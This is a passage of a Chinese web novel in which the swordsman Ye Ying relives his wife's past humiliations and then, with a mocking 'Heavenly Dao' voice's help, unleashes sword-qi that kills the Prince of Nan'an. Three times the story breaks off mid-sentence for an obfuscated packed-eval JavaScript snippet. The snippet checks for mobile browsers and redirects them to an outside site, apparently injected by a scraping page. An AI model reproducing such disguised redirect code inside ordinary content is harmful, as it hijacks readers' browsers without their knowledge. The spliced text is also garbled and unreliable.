那一声喜欢太轻了,轻得像在骗人。 她在骗母亲,也在骗自己。 何氏似松了口气,将她搂得更紧些,脸颊贴着她柔软发顶,轻轻叹了口气,那叹息里有太多小芊雅听不懂的复杂情绪了。 但她觉得,她不想让娘亲这么难受。 可他心中越发沉闷。 原来从那么早开始,她就在为了旁人压抑自己的喜恶。 那往后那些年,她又是怎么过来的? 紧接着,那画面便再次转换。 这次是在护国寺外。人很多,很吵。叶英下意识便地在人群里找她。 然后他看见了,不是因为她站在显眼处,恰恰相反,是因为她一个人站在树底下,离那热闹远远的。 她好像……总是一个人安静地待在人群之外。 稍大了一些,约莫十岁左右的萧琰穿着一身鲜亮的骑射服手持一张小巧的弓箭,就站在场地中央,意气风发。他面前不远处摆着几个箭靶。八九岁左右的林芊雅,穿着一身素雅的鹅黄衣裙,就安静地站在人群外围稍远些的一棵树下,身边跟着丫鬟春华。 她身量抽高了些,却依旧是纤细的,只是脸色比小时候似乎更苍白一点,气质倒沉静了许多,静静看着场中。 只见萧琰拉弓搭箭,瞄了瞄,然后颇有力道地一箭就射了出去! 那箭离弦,轨迹却明显有些偏,朝着箭靶左方的空地飞去。 可就在箭矢即将掠过靶子旁边时,不知是巧合还是怎的,那箭杆似乎被一阵极不寻常的风带了一下,又或撞了一下箭尾,总之,那箭竟在最后时刻诡异地拐了弯儿,钉在了靶子上! 还直直的正中红心? 周围立刻就响起一片叫好声和恭维声。 叶英顿住。那箭分明是偏的——他看得清清楚楚。 他下意识去看她。 人群中的林芊雅却微微蹙起了她秀气的眉头。 那箭,最初明明是往左偏的。力道、角度,都不像是能蹭到靶子甚至是能正中红心的。可最后那一下不合常理的轨迹变化……还有这些甚至毫不感到意外的人。 她目光不着痕迹地扫过场地边缘几个侍立的属于南安王府的护卫,又看了看那箭靶周围看似寻常的草地。她不懂武功,但她心思细,观察力也强。她总觉得,那最后一刻让箭修正方向的东西,不是风,也不是世子的神技。 这感觉让她极不舒服。 虚假。 她心里突然冒出这两个字。看着被众人簇拥着志得意满的未来夫君,她心底那点因为婚约而本就不多的模糊期待,又淡去了一些。她甚至觉得有些无聊,转头对春华轻声说:“春华,这里风大,我有些头晕,我们回去吧。” 声音平静,听不出喜怒。 画面再次转换,色调似乎都随之阴沉压抑了许多。 这次是在一个更加富丽堂皇的厅堂里。 叶英找了她很久。然后他看见了。 她站在那里,那么单薄,仿佛一阵风就能将她吹折。可她的背,却挺得笔直。 十四岁的林芊雅,穿着一身崭新却并不算特别张扬的礼服,安静地立在父亲林承泽身侧。她已出落得亭亭玉立,容貌清丽,只是面色依旧带着病弱的苍白,身形也比同龄少女更纤细些。她微微垂着眼,长长的睫毛在眼下投出一小片阴影,唇瓣抿着,姿态无可挑剔,却透着一股疏离的安静。 今日是南安王世子萧琰的十六岁生辰宴,亦是他们这对未婚夫妻在正式成婚前,一次重要半公开的见面。 宴至中途,本该是主角的萧琰却迟迟未现身。宾客们开始低声议论,目光若有若无地瞟向安静站在那里的林芊雅。而林承泽的脸色已经有些不好看了。 就在这时,厅外传来一阵喧哗和女子的娇笑声。 只见萧琰揽着一个身段窈窕、妆容艳丽、穿着虽不算逾矩却明显非良家打扮的女子,大摇大摆地走了进来。那女子眼波流转,依偎在萧琰身边,姿态亲昵。满堂宾客瞬间静了下来,落针可闻。所有人的目光都集中在了这突兀出现的两人身上,然后,又齐刷刷地转向了林芊雅。 萧琰似乎很享受这种万众瞩目的感觉,他走到厅中,目光扫过林承泽铁青的脸,最后落在林芊雅身上,上下打量了她一眼,嘴角勾起一抹毫不掩饰的轻蔑和讥诮。 他拍了拍怀中女子的腰,声音不大,却足以让整个寂静的厅堂都听得清清楚楚: “诸位,给大家介绍一下,这是夭华,倚红楼最新的头牌,歌喉一绝,比一个整天泡在药罐子里的病秧子,天天病兮兮的,风一吹就倒,能不能生出儿子都两说,也配当本世子的正妃?本世子心中所爱唯有夭华姑娘,今日便要娶她为妻!至于林小姐你嘛……这婚约,还是趁早解了罢!” 他只觉心中一股冰冷的怒意骤然升起,握剑的手几不可查地收紧。 药罐子,子嗣艰难 这话也配从你嘴里说出来? 此人,该死。 可他心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224198|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清楚,此刻该死的不只是这一句话,还有从前那一拽,那一箭,那一场又一场从未真正将她放在眼里的轻慢。 宾客中响起极力压抑的抽气声和窃窃私语,无数道目光变得复杂,有同情,有鄙夷,有幸灾乐祸,也有纯粹的看热闹。 林承泽气得浑身发抖,上前一步,就要开口呵斥。 一直微垂着眼的林芊雅,却在此时抬起了头。 她脸上没有众人预想中的羞愤、难堪或者泪水。她的脸色似乎比刚才更白了一点,但眼神却异常平静,甚至有些冷。那目光清凌凌的,像深秋的湖水,直直看向萧琰,以及他怀中那个因为骤然成为焦点而有些惶惑不安的女子。 原来如此。 她心中一片冰凉的恍然。 这并非临时起意的羞辱,而是一场精心策划旨在彻底毁掉这桩婚约和她在京城贵女圈中名声的戏码。南安王府,或许早就想摆脱与林家与她这个病秧子的婚约了。 或许人在极度荒谬的情况下,总是会有一定时间的认知空白的,就像她现在这样。 她突然感到一种荒谬的可笑。 她甚至分神想了一下那个叫夭华的女子。在这种场合被推出来,成为羞辱另一个女子的工具,她日后在王府,又能有什么好下场?将命运寄托于男子一时兴起的垂怜,本就是最愚蠢和危险的选择。 然后,她的思绪回到自身。 愤怒吗?有的。 但并非因为萧琰的负心或辱骂她个人,而是因为这份羞辱直接践踏了林家的门楣和父亲的颜面。 难堪吗?也有一点的。 被当众如此品头论足,提及女子最私密和难言的子嗣问题,终究是令人不快的。 但除此之外,竟是一片空洞的平静,甚至有一丝……解脱? 只是,这世道对女子总是不公的。 哪怕错全在对方,哪怕她是无辜受辱的一方,事后流传开的,也只会是她林芊雅“无用”,连个男人的心都拴不住,身子弱、生不了孩子、被当众退婚之类的风言风语。 她几乎能想象到那些背后指指点点的目光和窃窃私语。 清者自清?浊者自扰? 但这世间,终究是浑浑噩噩人云亦云者占了多数。 解脱……原来她对这婚约,厌憎至此。 他忽然无比清晰地意识到,幸好此刻站在她身边的人,不是那个人。心里那块不知何时悬起的地方,忽然落了地。 她从未期待过这份婚事,从未对萧琰此人有过半分好感或情意。这婚约于她,本就是一道枷锁,一个基于家族利益的冰冷安排。如今,枷锁以这样一种难看的方式被砸碎,虽然过程令人难堪,但结果……也未尝不是好事。 就在林承泽怒极,准备不顾一切发作时,林芊雅却上前一步,轻轻拉住了父亲的衣袖。 她的动作很轻,轻得像怕惊动什么一样。 然后,她转向脸色同样难看却似乎对儿子举动默许的南安王夫妇,以及满堂神色各异的宾客,缓缓清晰地开口,声音不大,却因厅堂极静而字字入耳: “父亲,今日世子生辰,既然世子已觅得知音,这杯酒,我们便不扰兴了。” 她没有哭闹,没有质问,甚至没有再看萧琰和那个叫夭华的女子一眼。 只是对着主座方向,依礼微微颔首,然后转向林承泽,声音平静无波:“爹爹,女儿有些不适,想先回去了。” 说罢,她轻轻挽住父亲的胳膊,以一种无可挑剔挺直却单薄的姿态,转身,在无数道目光的注视下,一步步,稳稳地走向厅外。 她没有落泪,没有失态,甚至没有回头。 背影决绝,再无半点留恋。 叶英看着那只手和那个远去的背影,心中只觉怒竟像要将他焚烧一般 那只手那么细,那么白,骨节分明,像从来没被人好好握过。可它此刻却在握住别人。她明明才是那个被当众羞辱的人。可她却在安抚自己的父亲。 这三段过往看下来,他胸口堵着一团沉闷的怒火,却又夹杂着无以复加的心疼。 三场相遇,三次被轻慢、被敷衍、被践踏。原来从她还不记事的时候起,那个人就在欠她了。 而这些债似乎还从来没有人还过! 一切画面回归平静,唯有脑海中那天道带着点唏嘘却又难掩兴奋看戏本质的声音,悠悠响起: 『怎么样?看清楚了没?三次见面,一次比一次精彩。你这小媳妇,从小到大,可没少因为这门破亲事受憋屈。那南安王府,从根子上就没安好心。现在,你还觉得他们只是普通的政敌吗?』 34. 你脑子里都是什么? 天道的声音落下,四周重归寂静。叶英却没有回应它那句带着调侃的询问。 普通政敌?不。这是积年的羞辱与践踏,是必须清算的旧账。 若只是政敌,朝堂上各为其主,手段尽出,他虽不认同却也谈不上恨意。可这从头到尾,哪里只是政争?那不过是后来才添上的由头罢了。 叶英闭上眼 他忽然想起方才画面里,她心中闪过的那两个字,解脱。 原来在她心里,那段婚约从来不是什么良缘,只是一场需要安分守己的算计。可这并不意味着那些羞辱就不曾存在过,不意味着那些轻慢和践踏就不曾在她心里留下痕迹。 她只是太清醒,清醒到连恨都觉得多余。可他不觉得多余。 从四岁那杯泼在裙上的茶,到十四岁那场当众的羞辱,再到后来刘家暗中算计、马车坠崖、名节尽毁…… 他想起溶洞里她背着自己一步步往外挪时,那几乎耗尽了力气的喘息和却始终不曾停下的脚步。想起她割开手腕将血喂进他嘴里时,那颤抖却毫不犹豫的动作。 她那时才十六岁。 十六岁,寻常人家的姑娘还在父母膝下承欢,还在憧憬未来的良人,而她已经在用自己单薄的身躯,一次又一次地扛起旁人加诸于她的恶意,扛起父亲的安危,扛起林家的存续。 她从未向他诉过一句苦。甚至连这些过往,都是他通过天道才得以窥见。 叶英垂在身侧的手慢慢攥紧。他不知道此刻胸口的情绪该如何名状。愤怒,心疼,还有一种近乎自责的钝痛。 他只知道,他必须做点什么。 不是为她去讨个公道,他其实隐约明白,那些旧日的羞辱,她早已用那声解脱将其彻底埋葬。她不需要任何人去替她翻这笔旧账。 可是以后呢?南安王府依然在朝堂上处处针对林家,依然在暗地里编织着那张针对她和她父亲的网。他们从未收手,将来也不会。 而他,她的夫君,就这样袖手旁观吗?他做不到。 可他该怎么下手? 他想起方才脑中闪过的那丝念头,提剑,夜行,血溅五步。以他的剑术,南安王府上下,无人能拦。 然后呢?然后他会成为被通缉的凶犯,会成为朝廷追杀的亡命之徒。 他自己不在乎这些。 可她呢?她要如何面对一个杀了人的丈夫?她要如何在那满城风雨中自处?林家本就风雨飘摇,岳父如履薄冰,他这一剑下去,究竟是替她出气,还是将她推向更深的深渊? 叶英缓缓吐出一口气,指尖用力按在剑柄上那冰凉坚硬的触感让他勉强冷静下来。 不能那样做。至少,不能用那样简单粗暴的方式。 他需要证据,需要那些藏在暗处的可以拿到明面上来当众揭穿的罪证。刘家当年就是被她用这样的手段扳倒的,他记得她写那封状子时的专注与冷静,也记得她提起此事时眼中一闪而过的锐利。 她能做到的,他为何不能? 他不通朝堂,不善谋略,但只是去探一探虚实,找一找那些被藏起来的把柄未必做不到。 明日,趁夜,去南安王府走一趟。 念头方起,脑中便传来一声拖长了调子的叹息。 『哎——呀呀——』 天道的声音懒洋洋的,带着毫不掩饰的嫌弃。 『我说叶少庄主,你这脑子里转来转去的,怎么还是那老一套啊?夜探王府?搜集罪证?然后呢,交给老丈人,让他去朝堂上参一本?最后皇帝老儿下旨查办,南安王府倒台,全剧终?』 叶英没有回应,眉头却几不可查地蹙了一下。 『啧啧啧,老掉牙了!真真是老掉牙了!』天道继续摇头晃脑地嫌弃着,『这种机关政斗、阴谋阳谋、告御状、扳倒权贵的套路,十年前的穿越文里都没人写了好吗!你们怎么一个个都这么没创意呢!读者会差评的!知道我们现在小说里流行什么吗?』 “你若有更好的法子,”叶英声音冷了下来,“便说。” 『嘿嘿,更好的法子嘛——』天道拖长了调子,卖足了关子『不——告——诉——你——!』天道把每个字都拖得长长的,语气里满是恶作剧得逞般的愉悦。 叶英:『…………』 他没说话,但那种你到底有什么毛病的想法似乎不用人说,也已经能够让人领会了。 『哎你别这样看着我嘛,不是故意吊你胃口,是现在跟你解释你也理解不了。』 天道难得正经了一瞬,『反正你只需要知道,你那个武力解决问题的思路,过时了,而且容易把自己和你家小媳妇都搭进去。』 它顿了顿,语气忽然变得有些意味深长: 『不过嘛……光靠你现在的水平,也确实不够看。毕竟你脑子里那些东西,还被那老头子的封印压着呢。』 叶英心念微动:『你能解?』 『解是解不开的,那封印是专业对口,我业务不熟。』天道理直气壮地说,『但是嘛,我今儿个既然你都有心要为媳妇儿做点啥了,本天道也不能小气,这样,我帮你试试,看能不能把你脑子里的封印松动松动,顺便看看能不能先把一部分力量解封出来。』 『……试?』 『对啊,试嘛,反正你又不损失什么。』 『成了,你就能恢复一部分力量和记忆碎片,不成……呃,也不成也没什么损失,最多就是闪回几个片段,不会把你脑子搞坏的,大概吧,哈哈哈。』 叶英沉默了,但他忽然又想起方才看到的那双亮得像星子一样的眼眸,想起她冰冷的手指攥着他衣角的力道,想起那句带着哭腔的我不能没有父亲。 『好。』他说。 『爽快!那你站着别动啊,本天道要开始施法了!』 接下来发生的事情,叶英很难用语言描述。 如果非要形容,大概就是有什么无形温热的却又带着某种令人不安的陌生感,像水流一样缓缓渗入他意识深处试探摸索着,在他自己都感知不到的某个边界处开始轻轻伸出触手试探。 『哎呀!』天道叫了一声。 叶英脑海里骤然闪过一幅画面。 红烛,红帐,满室的红。怀里的人穿着一身大红嫁衣,凤冠霞帔,红盖头已经被挑起,露出一张泪痕满面的脸。那双眼睛望着他,震惊、不敢置信,还有他那时才终于看懂的深埋的倾慕。 那是芊雅。是他的新婚之夜。 『咳咳,不好意思,手滑了手滑了,调错频道!』天道的声音带着明显的尴尬,『重来重来!』 叶英:“……” 他耳后有些发热,面上却不显,只淡淡道:“无妨。” 『那咱们继续啊,这次我小心点!』 又是一阵诡异的波动。 这回触到的是一片昏暗的溶洞,他意识模糊地靠在一个单薄却稳定的肩背上,鼻尖萦绕着淡淡的花果香。他费力地睁开眼,视线却模糊不清只看到一双眼睛。 那双眼睛在昏暗里亮得出奇,明明累极痛极了,却还在死死盯着前方的黑暗,嘴里一遍遍念叨着“就快到了”。 然后她低下头看他,确认他还活着,那双眼睛里柔软的让她整个人哪怕形容狼狈,都好像在发光。 『哎哟!』天道又叫了一声,『怎么又是这个!你脑子里怎么全是这些啊!』 叶英沉默了一会儿,平静道:“你可以不看的。” 『那怎么行!不深入怎么找到封印!』天道理直气壮,然后语气又变得有些微妙,『不过你这人吧……看着冷冷淡淡的,脑子里存的……怎么全是你媳妇儿?』 叶英没回答。 他也不知道为什么。他只是记得那些时刻,记得很清楚。溶洞里她背着他时那份坚韧,红烛下她望着他那份羞怯。日常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224199|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那些温柔,这些画面不需要刻意回想,它们就一直在那里,闭眼就能看见。 每一次那股奇异力量涌动,叶英脑海中便会闪过一些画面。 有些他认得,是成亲后的片段;有些很陌生,像是某座山庄的回廊,又像是西湖边飘落的海棠花。但都极短暂,一闪而逝连轮廓都抓不住。 但偶尔也会出现芊雅。有时是夫妻亲密,有时又是携手同心,天道似乎总是“手滑”到这些画面上然后慌慌张张地切走。 每一次触碰,那些画面就会像被搅动的池水般清晰一瞬又重新陷入模糊。 但没有一次,是真正属于他自己的记忆。 没有藏剑山庄,没有那些他隐约觉得应该存在的人。 直到—— 『咦?』 天道的声音忽然一顿。 『这里好像有块区域……不是很清晰,像是被压得很深但好像没完全封死……来来来,再试一下!』 一阵比之前更强烈的冲击感。 叶英下意识闭了闭眼。然后,他看见了—— 一个很小的男孩约莫七八岁,跪在一个光线昏暗的祠堂里,面前是无尽的祖宗牌位。膝盖下是冰凉的地砖,周围很安静,没有人声,只有自己压得极低的呼吸。门被轻轻推开一条缝,一个更小的脑袋探进来,带着点紧张又带着点小心翼翼。 那是个男孩,比自己矮了半个头,脸上还带着稚气,眼睛却亮晶晶的。他手里捧着个油纸包,一边往这边张望,一边蹑手蹑脚地靠近。 然后他蹲下来将温热的包子塞进自己手里,声音压得很低,却带着明亮的笑意: “大哥,快吃吧!” 他好像什么都没说。却只记得那包子的温度从掌心一路暖到胸口,而那男孩笑起来的样子,像极了…… 像极了什么? 叶英猛地睁开眼。 画面戛然而止。那张脸在记忆里迅速褪色,眉眼轮廓都模糊成一片,只留下一道浅浅的带着笑意的影子。他甚至想不起那男孩具体长什么样,只记得他比自己小,叫自己“大哥”,递来的包子是热的。 但有一个事实,无比清晰地落进了心里。 他有个弟弟。……不是堂弟表弟……是亲弟弟。会偷偷给他送吃的,会蹲在他旁边小声喊大哥,笑起来眼睛弯弯的 可他记不起弟弟如今的模样,不知道他长大了是什么样子,是胖了瘦了,成了亲没有,现在在做什么。 他甚至不确定那个世界是否还存在,那些人是否还在等他。 但他确认了一件事,他确实有家人。不是空白的来处,不是无根的浮萍。 他有父亲,有弟弟。或许还有更多家人。 这个认知让方才因芊雅过往而生出的愤怒与无力都暂且被对家的向往压了下去。 他需要回去。不是为了天道所谓的任务,不是为了什么世界晋升故事能量。 是因为那里有人在等他。 『哎——!』天道发出一声遗憾的长叹,『就差一点点!就差一点点那个画面就稳住了!可惜可惜,还是撬不动那老头子的封印核心。』 叶英沉默片刻,低声道:“他叫什么名字?” 『嗯?谁?』 “我弟弟。” 『哦哦!』天道顿了顿,『这可得你自己想起来,我可不能剧透。不过你刚才那画面里,不是已经有人喊他了吗?』 叶英回忆起方才的碎片。那个男孩蹲在他面前,叫他大哥,笑嘻嘻地递过包子。他没有喊自己的名字。 记不清了。画面太短,太模糊。但他知道那是真实的。 “我想不起来了,但……有用。”叶英说,声音依旧低沉,却比方才平稳了些,“多谢。” 『哎哟哟!叶少庄主居然会说谢谢!』天道顿时来劲儿了,声音都亮了几分,『本天道没白费力气!值了值了!』 35. 南安王死了? 叶英没理会它的调侃,沉默片刻收回思绪抬眼望向虚空。 “就这些?”他问,“你方才说帮我解封力量,只是看这些碎片?” 『哪能啊!』天道的声音立刻拔高,带着被质疑的不服气,『本天道是那种说话不算话的存在吗?记忆只能给你抠出来这么一点点,那是那老头子的封印太硬,不是我能力问题!但力量嘛……』 它顿了顿,语气里带上了几分得意: 『刚才我试了那么多次,虽然每次都跑偏到你媳妇儿那儿去了,但也不是全无收获。你那身体里封着的力量,我可是找准了脉门!』 叶英微微一怔:“什么意思?” 『意思就是,你现在可以试试。』天道的声音里透着明显的跃跃欲试,『就现在,按照我指引的方向,把内力往那个方位走一遍,能调动多少算多少。别怕,出了事本天道兜着!』 叶英沉默了一瞬。 试试? 他不知道这股力量会是什么样子,也不知道会不会像方才那些记忆碎片一样失控。 但……他需要力量。 不是为了杀人,是为了能护住妻子和寻回过往,但他现在的实力还完全不足。 “好。” 他闭上眼,循着天道指引的方向将丹田内力缓缓运转。起初没有任何异常。内力依旧平缓,沿着熟悉的经脉路径流淌,与往日无异。 但就在那股气息运行到某处时,一股陌生庞大得几乎无法形容的力量,毫无征兆地从他意识深处某一点骤然喷涌而出!那感觉不像是在调动内力,倒像是有什么东西一直沉睡在他身体里,此刻终于被唤醒,迫不及待地要破土而出。 他甚至来不及反应,更来不及控制。 最习惯的方式…… 他下意识地抬手,虚握,仿佛那里本该有一柄剑。 没有剑。但他意念微动,体内那股力量便像是找到了宣泄口,顺着他意念所指的方向,骤然奔涌而出! 没有惊天动地的声响,也没有炫目的光芒。 只有一片死寂。 然后,他“看”到了。 不是用眼睛,而是用某种更玄妙的感知。 在他意念所指的那片虚空之中,无数道细密、凌厉、纯粹由某种无形气劲凝聚而成的“剑影”,如同凭空出现般,密密麻麻地浮现出来!它们悬浮在半空,微微震颤着,发出几乎微不可闻却令人头皮发麻的嗡鸣,每一道都散发着冰冷刺骨的杀意与斩断一切的锋锐。 太多了。多到超出了他此刻的感知范围,仿佛铺满了那片天空。 这就是……他原本的力量?或者说,只是其中被释放出来的一小部分? 叶英怔在原地。 他不知道这是什么。他还从未见过这样的景象,从未感受过如此磅礴的仿佛能毁天灭地般的力量。 他低头看向自己的手。那只手与往常无异,骨节分明,指腹带着练剑留下的薄茧。可方才那一刻,从身体里奔涌而出的那股力量,却陌生得让他自己都心惊。 『哎哟喂——!』天道发出一声夸张的惊呼,声音里却满是兴奋,『卧槽!这阵仗!叶少庄主你可以啊!』 叶英没有回应,只是盯着夜空中那密密麻麻的剑影眉头紧锁。 太多了。而且他能感觉到,那还只是自己下意识调动的极小一部分。真正的力量……远远不止于此。 那些原本还算稳定的剑影,像是被他的意念彻底激活,又像是失去了某种约束,骤然间光芒大盛!不是视觉上的光,而是能量层面剧烈波动的显化! 紧接着,所有剑影齐齐调转方向,并非朝着他指定的山坡,化作一片璀璨却致命的流星雨,朝着京城的方向,更准确地说,是朝着京城中某个特定的方位轰然倾泻而去! 速度之快,远超叶英反应! 他瞳孔骤缩,想要收回意念,却已经来不及了。只能眼睁睁“看”着那片恐怖的剑雨撕裂夜空,消失在远方的天际,只留下空气中残留的锐利的剑气。 “你……”叶英猛地转头,虽然眼前空无一物,但他的意念却死死锁定了脑海中那个声音,“这是怎么回事?!” 『哎呀呀!别急别急!』天道的声音立刻响了起来,非但没有惊慌,反而充满了兴奋和看好戏的雀跃,『成了成了!我就说没问题嘛!你看,力量这不是解封出来了?多壮观!真不愧是洲际心剑啊』 “它们去了哪里?”叶英的声音沉了下来,心中一丝怒意升腾。他并不在乎力量是否壮观,他在乎的是失控的后果。 虽只是他试招的余波,可若误伤了无辜之人—— 『嘿嘿,你猜?』天道卖了个关子,但显然憋不住,立刻又接道,。 『南安王府那边,现在可热闹了!啧啧,你是没看见那场面,鸡飞狗跳鬼哭狼嚎,所有人都喊着天罚遭天谴了!可有意思了!』 南安王府? 叶英的心猛地一沉。 “你说过,不会出问题的。”他终于开口,声音里带着一丝事情脱离掌控带来的紧绷,以及立刻涌上心头的对芊雅可能被牵连的担忧。 『是啊!』天道理直气壮,『是没问题嘛!又没伤着……呃,好吧,可能稍微伤着了一点点?但反正死的是反派,又不是你媳妇儿,我都不在乎你在乎什么?』 它顿了顿语气更理直气壮了甚至还带着点邀功似的得意:『再说了,你这还算是跨界犯罪呢!你又不是这个世界的人,你用前朝的剑斩本朝的官儿,我这个官方都没追究,还给你开了后门让你能顺利施展,你怕什么?』 叶英沉默了。 他并非迂腐之人,手上也并非没有沾过血。南安王府那些人,死不足惜。 可问题不在这里。问题在于,这动静太大了。那铺天盖地的剑影,只要不是瞎子都能看见。如果有人将此事与林家,与芊雅联系起来…… “万一,”他沉声道,“万一有人认出这剑法的来历呢?” 他是失忆了,不知道这些剑影代表着什么。但那个将他封印让他流落至此的“老头子”既然存在,那这世上或许也有人认得这剑法。若日后有人因此寻来因此暴露? 『哎呀你想太多了!』 『你那剑法在这个世界根本就没有上哪儿认去?再说了,就算有人认出来,那也是找你这个穿越者,跟你媳妇儿有什么关系?放宽心好了,这个世界还不存在认识你剑法的人呢』 『安啦安啦!』天道满不在乎,『我都说了是天罚天谴,谁会想到是你干的?你一个普普通通的江湖人,能有这本事?放心,查不到你头上,更查不到你家小媳妇头上。』 它似乎觉得光说不够,又补充道:『来来来,我给你实况转播一下,你自己看!』 话音刚落,叶英眼前便凭空浮现出一块半透明的光幕。光幕里的画面行行烁烁。仿佛身临其境一般。只是这一次的视角倒不像是之前观看妻子记忆一般了。更像是在看皮影戏一样。 是南安王府?但……和他想象中的南安王府不太一样。 画面里一片混乱。亭台楼阁,雕梁画栋,许多地方都留下了触目惊心的痕迹,不是火烧,不是坍塌,而是一道道整齐划一的剑气,仿佛被无数柄看不见的利剑犁过。 假山被削去一角,树木被拦腰斩断,琉璃窗碎了一地。到处都是纵横交错的剑痕。 王府里乱成一团。下人们惊慌失措地奔跑尖叫,有的瘫软在地,有的对着天空不住磕头,喊着“老天爷开眼”,“天谴啊”。护卫们刀剑出鞘,却满脸茫然和恐惧根本找不到敌人。一个穿着体面的老管家模样的人,正跌跌撞撞地从回廊那头跑过来,头上的帽子歪到一边,嘴里还在喊:“来人!快来人叫太医!王爷!王爷——” 王府正厅前的院子里围了更多的人,哭声喊声震天。 院子中央,一个穿着亲王常服身形微胖的中年男子仰面躺在地上,双目圆睁,脸上还残留着惊愕与难以置信。 他的胸口,赫然插着一柄……不,那不是实体的剑,而是一道凝实如水晶散发着淡金色光芒的剑气! 剑气贯穿了他的胸膛,将他死死钉在地上,鲜血染红了他华贵的衣袍和身下的石板。 正是南安王。 在他旁边,一个衣衫不整发髻散乱的年轻男子正扑在他身上,哭得撕心裂肺,正是世子萧琰。他脸上再没有了往日的骄横跋扈,只剩下全然的恐惧与崩溃,一边摇晃着父亲的尸体,一边朝着四周哭喊:“爹!爹!太医!快传太医啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224200|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他身边还跟着一个同样衣衫不整吓得瑟瑟发抖脸色惨白的女子,正是那个花魁夭华。她似乎想靠近萧琰又不敢,只缩在一旁不住发抖。 光幕啪地一下消失了。 叶英站在原地,沉默了很久。 “……他死了?”他开口,声音有些干涩。 没想到南安王居然真的就这样死了…… 他倒不是觉得杀人有什么不对。若当真需要动手,他也不会犹豫。 他只是觉得……这……未免太过儿戏了些?! 在一刻钟前,他还想着要如何应对南安王府对于妻子的政敌绞杀,而一刻钟后,他所防备的敌人就居然已经死于非命了? “那些剑影……你确定这个世界不会有人看出端倪?” 『哎呀!』天道打断了他,语气里满是幸灾乐祸和不靠谱 『我说叶少庄主,你这人怎么这么爱杞人忧天呢!』 『你看啊,』天道开始给他掰扯 『第一,那些剑影是透明的,又不是实物,谁能认出来是你干的? 你方才站在这儿动都没动,有目击证人吗?没有!』 『第二,就算有人觉得这是人为的,你觉得他们会往什么方向想?是往隔壁街丞相府新招的姑爷干的这个方向想,还是往南安王府作孽太多遭天谴了这个方向想?』 叶英沉默了。他不得不承认,天道说得有道理。 那些剑影的声势太过骇人,任谁看了,第一反应都不会是有人行刺。他自己方才看见那一幕时,心中都有一瞬间的恍惚。 更何况,他今夜确实哪儿也没去。就站在自家廊下,动也没动过。若有人追查,也无物证。可他还是觉得,这事情发展得太快了,快到他自己都没反应过来。甚至感觉到了一种诡异的荒诞。就跟之前在街上遇到那些伪天命之子一样荒诞。 难道这个世界的天道就跟他们的天命之子一样离谱? 最开始听见声音这般油滑轻浮时,他就对他的性子已有所了解,而现在看来他的确不靠谱……而且不是一般的不靠谱。 “你……明明说过,不会出问题的。”他终于开口,声音里带着一丝连自己都没察觉的复杂和语塞。 『啧啧啧,所以我就说你们老套嘛,这跟原计划也没差多少嘛……你是不是帮媳妇儿解决了困难,你就说嘛……』 它顿了顿语气甚至带着些漫不经心:『只要想达到的结果相同,那过程出点什么意外又有什么关系呢,一切都是可以调整的嘛~』 叶英:“……” 他发现这个天道总有办法把歪理说得让人无法反驳。 叶英沉默转头,望向南边的方向。隔着三条街的距离,他看不见那边的景象。但他能想象到此刻南安王府里是怎样一片混乱。 那个在朝堂上与岳父针锋相对在暗地里指使刘家对芊雅下手的南安王,死了…… 可是……太快了 快到他还没能完全消化,事情就已经发生了。 死在他刚才随手一招之下,这事儿说出去,就连他的岳父都不会信,他其实知道天道说得有理。 只是今夜发生的一切,从看见芊雅的过往,到解开那一点记忆碎片,再到方才那铺天盖地的剑影…… 叶英闭上眼,深深吸了一口气。 “头疼。”他低声说。 『啥?』天道没听清。 “我说,”叶英睁开眼望向虚空,声音带着一丝难以言说的复杂,“接下来,要怎么跟她解释?” 天道沉默了一瞬突然憋不住笑出了声,笑声里带着浓浓的幸灾乐祸: 『嘿嘿,那能怎么办?叶少庄主,这我可帮不了你了。你自己看着办吧~』 叶英没有再说话。 他只是站在原地,望着南边那片此刻必然已经乱成一锅粥的方向长长地叹了口气。 力量有了。仇人死了。 可接下来,要怎么跟妻子说……尤其是他的妻子自来就心思敏感,聪慧可人。 “夫君,昨夜南安王府遭天谴了,你知道吗?” 然后他该怎么回答? 嗯,不仅知道还是你夫君干的呢 叶英抬手揉了揉眉心。这可比杀人本身,难多了。 36. 柚叶散晦 叶英在廊下站了许久,直到天光乍破才转身轻轻推开卧房的门。 屋内烛火早已熄灭,只有窗外透进一点微弱的月光勉强勾勒出床榻上那团蜷缩的身影。她似乎睡得很不安稳,即使在梦里,眉心也微微蹙着。 叶英放轻脚步走过去,在床边坐下,动作极轻地掀开被子一角躺了进去。 他刚躺下,身旁的人便像是有所感应,迷迷糊糊地翻了个身,就滚进他怀里,额头抵着他胸口,含糊地咕哝了一声:“夫君……” 